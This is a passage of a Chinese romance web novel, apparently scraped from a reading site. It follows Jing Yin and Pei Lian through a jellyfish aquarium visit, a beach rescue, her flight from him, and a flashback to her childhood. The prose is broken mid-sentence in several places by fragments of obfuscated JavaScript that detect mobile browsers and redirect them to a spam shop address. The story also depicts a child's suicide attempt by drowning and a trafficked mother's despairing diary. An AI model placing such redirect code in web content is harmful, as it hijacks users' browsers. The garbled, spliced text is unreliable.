裴涟坐在她左边,两人一起平静地吃着早餐。他只穿了件白色T恤,清爽干净的气息从旁边隐隐飘来,景音莫名想起昨晚氛围上来时自己说过一些荤荤的话。 她有点汗颜。 不过,想到后来裴涟的回复,他应该也不是很介意。 “白天干什么去。”他突然发言。 景音正在胡思乱想,被他声音吓了一跳。 她总觉得再跑出去玩很心虚,想了想回答:“昨天我看了看点评app,附近有一个水母馆,评价还挺高的,要不去看看?” 珊瑚岛也有一个水母馆,但里面都是些常见水母,装修也比较普通。景音隐约记得在裴涟平板的笔记上看到过,他打算重新装修水母馆。 “是吗。”他放下筷子,“名字告诉我,我来买票。” 景音对那家水母馆的名字印象深刻,看过一眼就难以忘记。 “咕啾咕啾水母馆。” “……”裴涟了然:“这家啊。” “你听说过?” “嗯,业界挺有名的,确实值得一看。原本的时间不太够,我就没算在内,现在倒是可以去。” 裴涟边说着边在手机上买了门票。 景音起的晚,再加上他们吃了点早饭,现在已经接近十点。 酒店要求下午两点前退房,两人合计了一下,决定等下就去办理退房,中午吃过饭后直接回之前的商务酒店。 他们各自回屋收拾了一下衣物。景音最后坐在床边看了会儿鱼,再次拍了点照片,就准备跟裴涟出门。 等待退房的这段时间,她收到了方小芸的消息。 方小芸看见她发的朋友圈,过来表达了一下嫉妒,顺便表示了等她出差回来要再找她吃饭,并介绍自己的新男朋友给她认识。 两人就这么一来一回地聊起来。 和裴涟出门就这点好处,什么都不用管,他把一切都安排好了。景音坐上出租车,边给方小芸发语音:“那你前男友那边解决了吗?” 她算了算,方小芸和胡新成分手最多一个星期。 方小芸回,等下她发朋友圈官宣后,胡新成看见了就会自觉不再纠缠了。 这算哪门子解决方法…… 景音勉强打字:「那我祝你好运。」 过了几分钟,她在朋友圈刷到方小芸发了张男朋友的照片。 只是,这男生,怎么和胡新成长得这么像。 景音看着照片,好像还发现了点不对劲。 “喂,裴涟。”她碰碰身旁人的胳膊,“这照片旁边的人是你吗?” 那照片是张生活照,男生旁边还有几个模糊的身影。 裴涟扫了一眼:“是我。” “这男生,你认识啊。” “认识。”他没怎么在意,“胡新成他哥,胡天逸。” “……” “怎么了。” 景音默默关掉手机:“这是方小芸新男朋友。” 裴涟好像不怎么惊讶。 “这不是她新男朋友。胡天逸和她是指腹为婚,圈里早就默认了他俩是一对,只是方小芸一直不愿意听家里的安排跟胡天逸订婚。” 景音:“?!?” 她花了一段时间消化这个信息:“小芸真牛。” 怪不得方小芸说,看到朋友圈后胡新成就会知难而退。 裴涟轻声笑了:“恋爱自由。” “那你有没有什么娃娃亲或者未婚妻?” 对于话题骤然转到自己身上,裴涟丝毫不慌。 “我没有。”他散着声音,“但,你为什么想知道这个呢。” “……” 景音闭紧了嘴。 好,怪她茂盛的好奇心。 她问与不问都是一样,裴涟早晚会结婚的。 而他的另一半一定是很优秀的姑娘,他们会手挽着手接受亲朋好友的祝福。 反正不可能是她。 手掌捂住小腹。热乎乎的温度传进身体,但似乎驱散不掉身体里的寒意。 景音忽然觉得心脏难受,沉重感坠得她呼吸都很艰难。 她不会是最后能和裴涟站在一起的那个人,她也没对他许诺过什么。 而他明知如此还往她身边凑,就不能怪她想将他私自占有。 哪怕只是一阵子。 到了目的地,景音还愣愣地看着窗外。 裴涟轻拉过她的手。 景音的眼神从窗外移了回来。 虽然脑子里是另一种想法,但景音连回握他的气力都没有。 还是裴涟拉着她下了车。 这家水母馆的占地面积,比一般的小型室内博物馆要大。在门口检票时,检票员问他们需不需要讲解员。 裴涟拒绝了。可是等他们进馆后,有个女人在里面等他们。 景音认出了她,是昨晚天台酒吧的那个黑裙女人。 她打扮得很随意,却画着精致的妆容,眉眼都有些浓厚的色彩。唇色正红,显得她整个人有些风情万种。 她不像检票员一样挂着工作牌,如果不是她对他们开口打了招呼,景音肯定会以为她是一名游客。 “小裴总。”她面带恹恹的笑意,“好久不见啊。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13845050|142979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 女人的眼神在两人拉着的手上扫了一眼。 裴涟点点头:“麻烦您给我们讲解了。” “不用客气。” 女人弯唇淡笑,带着他们往前走。 景音拽拽裴涟的手,声音虽小,却带着质问似的:“你们认识?” 裴涟点头:“她是这儿的老板,叫曹子琳,以前在环宇的总部当采购部长。后来辞职回老家创业,也就是开了这家水母馆。” “哦。” “刚才在车上,她看到我的购票信息,给我发了消息。” 景音扯了扯唇角:“昨晚没给你发?” 裴涟似乎不解。 曹子琳这时转过身,景音才发现他们已经到了第一个缸前。 她的讲解很专业。裴涟耐心听完了她对水母的介绍,俯身看了看缸里的水母。 “您能不能直接带我看这里最稀有的种类。”裴涟问。 曹子琳:“当然可以。” 她带着他们走得深了些。从进门起冷气就很足,看景音有点瑟缩的样子,曹子琳稍微离开了会儿,回来的时候,递给景音一条毯子。 景音有点面赤:“谢谢你。” 曹子琳满不在意地笑了声。 他们经过一条海月水母长廊,水母的身体在慢慢变化的灯光下变着颜色,幽暗又唯美。 到了下一个房间,就都是曹子琳引以为傲的稀有品种水母。 裴涟的问题和普通游客不一样。他问的是一些饲养和价格上的信息,曹子琳看出他的意图,说如果他想引进,她可以帮忙介绍卖家。 听他们聊得差不多了,景音才开口问:“你们的卫生间在哪里?” 曹子琳瞅她一眼:“我带你去。” 裴涟被留在原地,曹子琳带着景音拐向走廊另一边。 这里当然没有什么卫生间。 景音把纸团拿出来:“想聊什么,你说吧。” 她披上毯子的同时,曹子琳往她手里塞了张纸团。 趁裴涟看得认真时,景音走到另一边假装看水母,打开纸团看了看。 纸上一行秀气的字:“有机会聊聊吗?” 她本以为由陌生人传来的善意,就这样轻易地破碎了。 “你挺厉害啊。”曹子琳倚在墙上看她,“小裴总这么难搞定的男人,让你给泡上了。” 景音觉得她话语有些不适,解释了一下:“我不是他女朋友。” “不是?那你们是什么,炮友?” 景音皱起秀丽的眉。 曹子琳呵呵笑着:“以前在公司的时候见过他一面,那时候他还是个清纯的大学生呢。我还以为是朵高岭之花,没想到私下和别的富二代也没什么区别嘛。” “你到底找我什么事?” “还能有什么事,交流交流泡男人的经验呗。”她的手指在墙壁上一敲一敲,“不过你又不是他女朋友,就没什么可聊的喽。” 景音不想待在这里了。 无论是曹子琳的话,还是她本人带着笑容的红唇,都让她感觉不适。 她转身想走。 曹子琳却突然伸手拦住她,清淡的脂粉香传入景音的鼻子。 “喂,让给我一天呗?我也想约他,你不会吃醋吧。” 32. 车钥匙 回到方才离开的展厅,裴涟正在原处打电话,神色不太明朗。 挂了电话,他对走来的景音说:“下午的拍摄要取消,摄影师联系我说临时有事。” “……啊。” “我试试再找下别家的摄影师。” 景音无奈点点头。 他们的对话被旁边的曹子琳听见了,她笑盈盈问他们:“你们要拍什么?” “拍几个视频素材。”景音答。 “做什么用,发段视频吗?” 景音摇摇头:“剪宣传片用。” 曹子琳若有所思地点点头:“那也不需要多么厉害的摄影师吧。我这儿有个员工,平时喜欢玩摄影,他设备挺好的,要不让他跟你们去?” 景音和裴涟对视了一眼,在彼此眼神中看到了肯定。 裴涟:“如果可以的话,真是帮大忙了。” 曹子琳无所谓地摆摆手,转身走了:“我去给你们找找他。” 她的身影消失在走廊外。 景音匆忙扫了裴涟一眼。 “真是波折啊。”她收回眼神,盯向旁边缸里的水母。 紫色的光线把她的脸照的有几分靡艳。裴涟看她聚精会神的样子,凑得近了些:“她都跟你说了什么。” “……什么说了什么。” “这家展馆没有卫生间,我购票的时候看过详情备注。”他伸手牵住景音,“你刚才说的昨晚她没有联系我,是什么意思。” 景音轻叹了口气,怎么什么都瞒不过他。 她不情愿地开口:“昨晚在酒吧的时候,我看见她了。” “?” “她一直瞅你来着。” 景音抬眸看向他,明亮的杏眼反射着水母缸里紫色的光线。 “就像妖精盯着唐僧肉。” 裴涟眉眼微不可查地动了动。 “所以,你的反映才会那么大。” 他莞尔弯唇。 景音想抽出手,却被他握得更紧。 裴涟把她拉进刚才曹子琳带她进入的那条安全通道。 柔软的吻啄了上来。景音被他抱在怀里,缠人的气息将她紧紧环住,窒息的眩晕感一阵阵侵袭,让她动弹不得。 分开时,她小口地喘息着。 每次被裴涟吻住时,无论是深吻还是浅吻,她都觉得自己快要溺毙。 裴涟亦有些错乱,鼻尖蹭过她的面颊,附耳悄声说话,气息带起一阵麻痒。 “怎么办,一旦发现你也喜欢我,我就有点控制不住自己了。” 景音好似浑身在过电。 她轻推他:“谁喜欢你了。” 裴涟没反驳,只是轻声懒笑着。 他的声音和走廊外游客走动说话的窸窣声混在一起。景音忽然感觉,仿若这里单独开辟了一处狭窄隐秘的空间,只为他两人而存在。 裴涟又细细吻在了她的眉眼。她紧闭着眼,抓着他衣服的手攥成了拳。 直到另一边传来开门声,两个人才分开。 曹子琳乐呵呵地看着他们。 “我那员工今天休班。我给你们留个他的联系方式?” 裴涟拿出手机:“您说。” 一如往常地从容淡然,叫人丝毫看不出刚才他还动了情。 景音脸颊更热了些。 曹子琳报了一串号码。 他们离开这里时,景音回头看了看,发现走廊尽头有个监控摄像头。 她有点难为情,但又觉得被人看见也没什么。 曹子琳又带他们逛了逛馆里,聊的全是业内相关话题。 逛完了所有的展区,又去她办公室喝了会儿茶。他们联系了曹子琳推荐的员工,最终还是决定在傍晚拍摄,因为那时海岸线的风景最好,游客也少。 茶推三盏,裴涟才表示,他和景音要去吃午饭了。 曹子琳故作可惜:“还以为帮了小裴总的忙,能蹭上一顿好吃的呢。” 裴涟刚要表示歉意,她又调侃般地看了景音一眼:“开玩笑的啦,晚上见。” 曹子琳要跟他们一起去,美其名曰监督员工工作。 但景音并不这么觉得。 这个女人仿佛对她和裴涟之间的感情有什么特殊的窥探欲。 ——“你想约他,可以直接去问他啊。” 彼时,面对曹子琳带着礼貌的荒唐问话,景音是这样回答的。 对方却不以为然。 她摇着头啧啧了两声,像是自言自语:“果然好男人会光速流出市场。” 虽然不懂她是怎么得出这个结论的,但听起来,是她不打算再招惹裴涟的意思。 但景音仍觉得曹子琳的微笑还有其他含义。 介于昨晚景音还犯了肠胃炎,中午裴涟选择吃清淡的椰子鸡火锅。 用餐时,景音拍了张照片发给方小芸,方小芸很快回复:「哟,你裴总给你补身体呢。」 然后甩来一张烤鸭照片。 裴涟看着景音拍照,又从手机上点来点去,眼神若有所思。 吃过饭,他们先打车去了南洋湾海底世界找朱鑫。 景音一早跟朱鑫商量好了要借鱼尾,朱鑫很爽快地答应,给景音选了一条无比漂亮的蓝紫色渐变鱼尾,每片鳞片都在闪闪发光。 搭配的上衣是吊带款,带着海螺和珍珠的装饰,松软的褶皱正好卡在腰身的位置。 朱鑫把手提箱交给景音,才告诉她:“这是我们送你的,不用还回来了。你好不容易来一趟,我们也没什么拿得出手的礼物。” “啊。”景音微怔,“这怎么行!” 这条鱼尾一看就价格不菲。 “你就收下吧,不然我回去没法跟她们交代,记得有空来找我们玩就行。” 景音感动得说不出话。 她最后和朱鑫抱了抱,才不舍地道了别。 回到原来的商务酒店,景音开始收拾行李。裴涟改的机票在明天一大早,他们四五点就要起床去机场。 收拾完后,她给裴涟发了个消息,就躺回床上开始提前补觉。 昨晚被肠胃炎折腾得很晚,即使是今天早晨睡了懒觉,她依然觉得困。 景音几乎是一沾枕头就睡着了。 后来,是被敲门声吵醒的。 她迷迷糊糊醒过来,发现天色已经转暗。 起床开门,裴涟在门外垂眸看她。 “该准备走了。”他说。 景音眼睛几乎还是闭着的。招手让他进屋,开始了化妆。 他的叫醒服务还算及时。等景音全部收拾完毕,还留有打车的时间。 裴涟拎着装鱼尾的箱子,两人去了跟曹子琳约好的海岸。 曹子琳和一个男人已经在这里等待了。 男人话很少,一副斯斯文文的样子,曹子琳管他叫艾伦。 景音在曹子琳的车里换了上衣,有了元旦那次的前车之鉴,她只穿了潜水裤,准备到岸边再穿上鱼尾。 原因无他。 他们选的海岸有很多礁石,穿着鱼尾实在太难走上去了。 裴涟已经把想要的画面和艾伦提前沟通好。景音坐在一处礁石上,穿好脚蹼和鱼尾,他们很有效率地开工。 太阳正悬在海岸线上方一点点。这片海滩是曹子琳挑的,游客很少,再加上是饭点的原因,附近只有一个老年人带着两个孩子在玩耍。 景音按艾伦的要求摆出各种动作。宣传片原本也只是需要几秒钟的画面,他们的拍摄并没有持续太久。 旁边玩耍的孩子发现他们的工作,还好奇地过来看了一会儿。 拍完坐在礁石上的画面,景音又去到了沙滩上,下半身没在海水里,被浪花轻轻的拍打着。 最后一个片段也拍好后,艾伦拿着相机给裴涟看。 裴涟点头认可,他们迎来了收工。 曹子琳也拿过相机:“这造型真出片啊。” 围观的小男孩也想看。曹子琳刚给他看了一眼,孩子的奶奶找了过来。 老人拉住那男孩,一脸慌张问他:“你弟弟呢?” “我不知道呀。”男孩回答。 裴涟他们离得近,都听见了这番对话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13864529|142979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,下意识向周围看了看。 刚才的确是两个孩子在这看他们拍摄,后来他们打打闹闹地跑开了,再后来,就只回来了一个。 可是,周围哪有什么小孩子的身影。 景音正准备费劲脱掉鱼尾,也听见了那祖孙俩说话的内容。 但她第一反应是看向身后的大海。 海浪声充斥耳畔,夹杂着老人着急的训斥声。一片湛蓝中,景音眼尖地看见,远处礁石后面有个黄色的影子。 一沉一浮,忽隐忽现。 带着股不祥的预感,她来不及思考更多,转身投进了海里。 脑海里只有一个想法: 快点游。 她迅速摆动双腿,心里有些后悔刚才没把鱼尾脱了,但脱掉这尾巴十分费劲,只要她游得够快,就能赶上正常游泳的速度。 再快点。 黄色的影子越来越近,景音终于看清,那确实是一个小小的孩子。 双手合十在脑袋前,她一个猛钻,游到了孩子身边,把他拖了起来。 接下来是返程。 小男孩眼睛紧闭着。她不敢去试孩子的气息,只是尽全力游着,还好,这里离岸边的垂直距离并不算远。 岸上,熟悉的身影向她奔跑过来。景音终于靠近了沙滩,鱼尾搁浅在岸上游不动了。 裴涟身后跟着孩子的奶奶。景音把男孩托给他们,然后边指导他们做急救,边脱掉裙子。 很快,小男孩吐出一大口水,开始哇哇大哭。 景音终于松了口气。 她慢慢站起来,感觉小腿肚子一抽一抽地疼。 孩子的奶奶也在抹着眼泪,过来牢牢地过来抓住景音的手:“谢谢你啊,小姑娘!” 景音连忙应着说没事。 曹子琳安抚着老人:“您快把小孩送医院检查检查吧。” 他们帮忙叫来了救护车,接走了祖孙三人。 没想到,这次拍摄还会出现这种意外。 曹子琳手上还拿着艾伦的相机。景音想起,刚才自己上岸的时候,她好像一直举着相机在拍摄。 果然,她走来给景音看录像:“看你刚才的高光时刻,我都给你录下来了。” 景音在用裴涟递来的毛巾擦头发:“占内存,删了吧。” 他们原本的计划里并不需要下水,所以带的毛巾也少。 景音的头发半干不湿,海风吹过,她打了个喷嚏。 裴涟自己也拿了条毛巾披在她身上。 他表情不甚明朗:“我们先回酒店。” 裴涟用仅有的毛巾把她尽量包得严实。曹子琳让艾伦先走了,然后主动提出送他们回酒店,以表扬景音的见义勇为。 景音很少被人这样照顾,有点哭笑不得。 车子开到酒店,下车时,她才觉得腿疼得迈不开步子。 裴涟把她扶下车,曹子琳从另一边绕过来问:“怎么了?” “没做拉伸,还游得那么快,可能伤到了肌肉。”裴涟的表情比平时还要严肃。 “没那么严重。”景音忙摆手。 她还是被搀进了酒店。曹子琳帮他们提着装鱼尾的箱子,一起上了楼。 回到景音房间后,三人面面相觑。 “我要洗澡了。”景音赶他们出去。 裴涟:“你自己可以吗。” “……可以。”景音脸色红了一些,“你们走吧。” 曹子琳意味深长地笑了笑,跟在裴涟身后出了门。 景音用热水冲淋了会儿腿部,感觉好多了。洗完了澡,她回到房间,意外看到一个不属于自己的物品。 曹子琳的车钥匙落在了她床上。 她洗澡的时间不长不短,少说也有二十分钟。 曹子琳难道没发现她的车钥匙不见了? 景音边拿起钥匙,边疑惑地擦着头发。 要不,让裴涟先联系一下她好了。 景音找到手机,忽然听见隔壁传来了女声。 一种想法慢慢在她心里聚成现实。 曹子琳好像根本没走。 33. 电话簿 景音不知所措地站在床边。 她知道裴涟是个正人君子,甚至冷漠到有些不近人情。 她也知道,裴涟和曹子琳不会真的做些什么。 可她见识过他的另一面。 她知晓有什么东西埋藏在他的理性之下,而自己也的确浅尝到了他带来的荒唐和放纵。 此时心里的情绪,准确来说,并不是因为曹子琳而起。 而是她设身处地地觉得,她也许是第一个,但决不会是最后一个看到裴涟另一面的人。 他的情绪有一天会不止为她存在,他因情欲而丧失理智的双眼也会凝着另一个人,琥珀色的眸也会因那人而忘我。 景音拿着钥匙,大脑开始无法控制地开始想象裴涟和另一个女人在一起的画面。 那女人可能有曹子琳的影子,也可能只是一个虚影,他们缠绵,厮磨,难分你我。 心脏在绞痛,她赶走脑海里的画面,质疑自己为什么会有这种感觉。 她不是一早决定了,只走肾,不走心的吗。 现在的行为无异于自讨苦吃,让自己变得陌生又讨厌。 景音深吸了口气,决定还是去隔壁还一下钥匙。 出了自己的房间,她才发现原来隔壁没有关门。 门缝足有手掌宽,里面的人这会儿没在说话。 景音敲了敲门板,然后推开门。 曹子琳正搂抱着裴涟的脖子,两人身体紧紧挨着,吻得密不可分。 他们忘我又动情,听见她推开门,也丝毫没受到影响。 景音愣在原地。 大脑发麻。 “洗完澡了?” 曹子琳已经走到了她的面前,眼带狐疑地看着她。 不对。 屋里一眼就望到了头,这里除了曹子琳,并没有别人。 裴涟不在里面。 “小景?”曹子琳伸出只手在她眼前挥舞,“怎么了,想什么呢?” 景音进屋,推开了卫生间的门。 空无一人。 曹子琳的语气难得有些不安:“你表情怎么这么吓人?小裴总去给你买……” “给。”景音把车钥匙塞到她手里,“你钥匙落我床上了。” 她直径进到屋内,找到了裴涟的行李箱。 箱子内的衣物整齐摆放,景音的胳膊有些颤抖,在侧兜和角落里寻找着什么。 突然,摸到一包柔软的东西。 她拿了出来,发现是一包卫生巾。 “你没事吧。”曹子琳走了过来,蹲下身子看着她,“你怎么哭了?” 景音擦了下眼睛,发现自己真的流了眼泪。 “我没事。”她回答。 声音已经哑得不像话。 她放弃了搜寻裴涟的旅行箱,站起身,最终在裴涟的枕头底下发现了自己想找的东西。 两张身份证叠放在一起。 景音拾了起来。 裴涟的脸冲她温柔笑着。这似乎还是高中那会儿拍的照片,他的脸庞上还留有些稚气的轻傲。 景音放下他的身份证,拿走了自己的。 曹子琳看她莽莽撞撞离开,心下觉得不对劲。 她拿起手机,打了个电话。 景音听见隔壁曹子琳的说话声,两下收拾完行李箱,推门就走。 身后曹子琳在追着她:“小景,你去哪?” 她带着行李进入电梯,迅速按下关门键,曹子琳的身影被挡在了门外。 出了酒店,拦手打了辆出租车。 司机帮她把行李箱和装鱼尾的箱子放进后备箱,也问她:“去哪啊?” 景音迟疑了一秒:“机场。” 她订了最近一班离开南海市的机票。 目的地是一个景音从未去过的南方城市。这无所谓,因为她的目标和目的地无关。 她只想尽快离开这里。 裴涟没给她打过电话,也没有发过消息。一段时间后,反而是方小芸也来问她在哪。 景音沉默了一会儿,还是告诉方小芸:她在机场。 很快到了登机时间,景音反而松了口气,将手机调到飞行模式。 一个小时后,她下了飞机。 手机有两个未接电话,都来自裴涟。景音没有选择打回去,而是先从通讯录里找到一个很久没联系过的号码。 她先看了眼表,现在并不是工作时间。 于是她编辑了一条短信: 「裴大夫,您之前说如果我出现什么异常情况一定要联系您。我今天好像看见了幻觉,这是不是说明我的病情加深了。」 景音来回阅读了一遍,才点击了发送。 对方没有立刻回复。 裴涟的电话此时打了进来。 景音任铃声响了一会儿,才按下了接听。 电话那头并没发出什么声音,好像没料到电话会接通似的。 她先开了口:“喂。” “景音。”裴涟的声音与往常无二,“如果你不想看到我,可以让我走。” 沉默许久。 “是我错了。” 景音说出了自己想了一个小时的话:“裴涟,就算我们没在一起,我也控制不住自己想象会失去你的感觉。我太喜欢你了,可是我感受不到这种情感带来的美好,我看到的只有无穷尽的幻灭。” “我也试着迈出了一步,遵从了自己的欲望,但是,果然,我比以前更害怕了。对不起,我想说的是这不怪你。我有病,你知不知道?” 裴涟静静听着,好像不知怎么回答。 他最终有些疲惫地说:“我们可以谈谈,你先不要激动。” “我不激动,我现在真的很平静。”景音发誓自己说的是实话,“我们在同一个地方工作,以后还会不可避免地见面。我现阶段不可能离开珍珠岛,我也没办法要求你走。所以,以后遇见,大家就当普通同事,别再试图对我做什么了。” “别再,喜欢我了。” 说完这些,她就挂了电话。 机场冰冷的女声播报着一句又一句的航班信息。景音此时走到了出站口,外面接机的人群一层又一层,大家的眼神短暂地扫过她,又看向她的身后。 一起出来的人要么找到了接机的亲属,要么有目标地朝某个方向走出去。 只有她,脚步踌躇,犹疑不前。 有人轻撞了她一下,连忙停下来致歉。景音摆手说没事,才慢慢向外走去。 她的人生好像也如此。从来都是有人推一下,她走一步。周围的人都有方向和目标,她没有。而荒唐的是,她好像并不需要那种东西。 大概因为,连生出自己的人,都不需要自己。 景音有记忆以来,就没见过母亲。 景绍良是街坊中出了名的废 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她以为,她有新的书包,就能很满足了。 可是在她发现弟弟的东西越来越多,随便一个玩具都比她的东西贵好几倍时,心里还是不可避免地难过了下。 她问过景绍良为什么。 景绍良沉默地看着她,然后说了一个字:“滚。” 并不是真的让她滚。只是一句最简单的,排解心里不满的骂声。 景音不懂她为什么总是被骂。 但她至少懂了:别再问。 这种僵局,在一次回旧家打扫房间时被打破。 这处老宅年代太久,苟延残喘在一个老巷子的深处,像一具正在腐烂的遗骸。回来打扫的原因很简单:附近盖了学校,哪怕是一处小小的房屋也升了值,可以出租。 景音觉得自己和这处老宅没什么两样。 她打扫景绍良的房间时,意外发现了一个日记本。 说是日记本,其实是一个很小的老式方块电话簿,黑色的假皮套一碰就碎,里面却用清秀的字体记录了一些事项。 景音看了几页,才明白过来,这是自己妈妈留下来的东西。 在那个灰尘满满的下午,十二岁的景音坐在地上,看完了整本电话簿,终于明白了为什么自己被骂了十二年。 34. 白色风暴 他们说的话我都听不懂。 为什么,就因为我是哑巴。 男人对我好,因为他们花了很多钱。 我好像怀孕了。我不想生孩子,但不知道去哪。 希望是个男孩,我不想再生了。 我不想怀孕。我不想要这个孩子,他怎么不在我的肚子里淹死。 我恨所有人。恨爹娘,恨带我来这里的人,恨男人,恨我的肚子。 这样活着还不如去死。 景音后来把这个本子塞回了床底下。 回到家,景绍良在陪他的儿子做游戏。儿子已经三岁,是马上要上幼儿园的年纪,景绍良对他露出的笑容,是景音从未见过的温柔和煦。 景音才懂,他们倾尽所有买回一个子宫,到头来得到一个累赘和一场空,她总算明白了个中缘由,也真心觉得这场交易不值。 可她却想笑。 继母看见她进家门,愉快的表情收敛了几分。 景音就搬了出去。一个人住,一个人吃饭上学。 她不是主动提出的。但在景绍良对她讲出这件事的时候,她不带犹豫地同意了。 景绍良在的地方,不是她的家。 男人总是贱的。许是少女的顺从唤起景绍良那么一丁点同情心——这种彰显自己高尚的东西,景绍良提出可以满足她一个要求。 景音想了想,说,我想学游泳。 在这十二年里支撑她过来的,那个在自己被骂时少不了一起挨骂的幽灵一样的亲生母亲,不仅不爱自己,甚至不希望她活着。 那么,她也可以满足母亲的遗愿,淹死自己。 但她不想死在河里、海里。她不希望自己的尸体找不到,她想用泡得肿胀的双眼最后再看看景绍良,让他亲眼见到自己死去的样子。 事情没她想象的那么顺利。 景绍良给她报的是少年宫的游泳课。少年宫挤满了小孩,游泳课也是,一个教练教,下面叽叽喳喳的声音比教练的还大。 十二岁的那个暑假,景音一直在找机会。 泳池让她惧怕。想到那里是自己最后的归宿,她很迫切,也很想逃避。 所以,她一般会在教练上课时跑到少年宫的某个角落。 这里,爬山虎遮盖了整面马赛克砖墙。有天她抱着膝盖坐在这时,一个男孩来找她说话。 “你好,你在干什么?” 景音指了指墙壁,示意他噤声。 夏风吹过,带起一片穿堂风。墙上沙沙作响,小男孩看向她指的地方,疑惑不解。 “你听。”景音说,“它们正在用吸盘往上爬。” 男孩为了听到爬山虎的声音,和她坐了一个下午。 那天好像是什么节日,少年宫的学生和老师都提前离开了。等他们察觉时,少年宫已经安静下来。 景音知道,她终于等到了最好的一次时机。 打发走男孩,景音从窗户爬进了游泳馆。她其实并没做好周全的计划,也就没料到,窗户下方就是深水区。 她攀在窗框上进退两难,没抓稳掉进了水里。 她这时还不会游泳。 景音在泳池里翻腾,像失足掉进水中的飞蛾。水不比火焰吞噬殆尽,一样能打湿翅膀毁掉鳞粉。 景音呛了水,从了命。她不再挣扎,反正她的目的就是如此。 身体沉进水里,很快,她发现这个过程实在痛苦。 像在把她从这个世界抽离,从头,到脚,千锤万打一样疼痛。 景音后悔了,第一次想着,有没有人能来救救她。 像是响应她的召唤般,眼前落进一个巨大物体。她的胳膊被人拉扯着,硬是把她带出水面。 上了岸,男孩拍打她的脸庞:你在干什么? 景音哭了。 她抱着那个素不相识的男孩,号啕大哭了很久很久。从前她只要掉一点眼泪就会招来谩骂,这次,她终于可以哭得那么大声,这声音甚至召来了保安,把他们从游泳馆放了出去。 她被那男孩的家人送回了家。 两个小小的身影并排坐在车上,男孩对她说:你别再做那种事了,总有人希望你活着的。 她不再寻死了。死亡是那么痛苦,差点死掉的经历,让她害怕了。 她也信了那男孩的话。陌生人的善意廉价却甜蜜,成为了她最后一根稻草,她相信了说不定真的有人希望她活下去。 她上完了游泳课。溺水太痛苦了,如果可以,她想知道怎样规避这种死法,她的母亲实在心狠,怎么会想让自己的孩子淹死。 同学老师们的眼神越来越复杂。她索性不去理解,偶尔看到飞鸟昆虫,她才会去想一想,在城市的钢铁森林里他们能否活得如愿。 她没觉得自己和别人越来越不一样。 初中毕业,班里的同学不舍落泪。她和他们没有什么交集,自然也没有感情。她觉得,她不伤心,很正常。 高中,景绍良把她送进季城最好的学校。景音知道这不是出于弥补,也不是什么后悔,只是因为他们有一层景绍良无法否认的血缘关系,她还需要保住他的面子。 这段时间,景绍良一家人准备移居国外。景音就是他不堪过去的证明,这或许是他能想出最好的方法,来切割掉过去的一切。 他们成功了,一家三口短暂地消失。景音留在了国内,除了每个月的生活费到账——景绍良的女儿怎么能灰头土脸——她感觉不到生活中有任何父亲的痕迹。 景音自己生活,想做什么就做什么,没有人会管她,没有人会关心她,没有人在意她是否按时吃饭、去哪里玩,她已经这样生活了好几年,她也很习惯不与人发生任何牵扯。 高中同学的家教都很好,没有人来欺负她。 繁忙的课业下,同学的相处也是点头之交。这里的环境比过去的一切都好,她那想不起名字的可爱同桌,还总是对她笑。 若是有什么让她记忆深刻,那件事应该算在内。 有天下课,她在走廊上撞见同桌在跟一个男生接吻。 个子小小的女生被抵在墙上,上面的男生紧拥着她,两人的周遭像是有堵密不透风的墙。 景音初觉,人和人的关系还可以这样亲密。 她一直不敢说,她其实很向往。她也会有这样一段关系吗?陌生的同龄人与她唇齿相交,肌肤相贴——这是只能放在心里最深处的想法,无法被语言咀嚼,无法见到日光。 后来她的同桌被请家长,被停课一周。 少女带笑的眉眼开始忧郁,总是不经意望着教 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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她也开始逐渐留意走廊过去的身影。于是她总能发现,在不经意的眼神交汇中,裴涟的确也在看她。 这种情感像闻高每年春天会爆发的柳絮一样,铺天盖地,用最轻柔的重量,将她从头到脚淹没彻底。 而从她懵懂时就刮起的这阵白色风暴,现如今已经将她手脚缠紧,无孔不入地侵入到她五脏六腑每个角落。 她还能怎么逃。 【珍珠岛大家庭】 锤头鲨:今年的优秀员工名单出来了,大家要以他们为榜样,新的一年,再创辉煌! 锤头鲨:[图片] 小海星:鼓掌鼓掌。 刺豚阿姨:小伙伴们棒棒的![鲜花][礼炮] 巨无霸澳龙:我有疑问。 巨无霸澳龙:海洋剧场那个美女,居然是全勤,一天假也没请过,这怎么可能? 小海星:有啥不可能的,人家勤奋。 巨无霸澳龙:我没有别的意思哈,她的工作不是要下水吗,她又不是男人,你懂吗? 虾夷扇贝:? 巨无霸澳龙:额,她,没有生理期吗? 巨无霸澳龙:一次假,也不用请? 35. 新员工 景音在一天后回到了季城。 除了跟人事部销假,她没告诉任何人。第二天照常去上班时,许晏霖在办公室看到她,明显一愣。 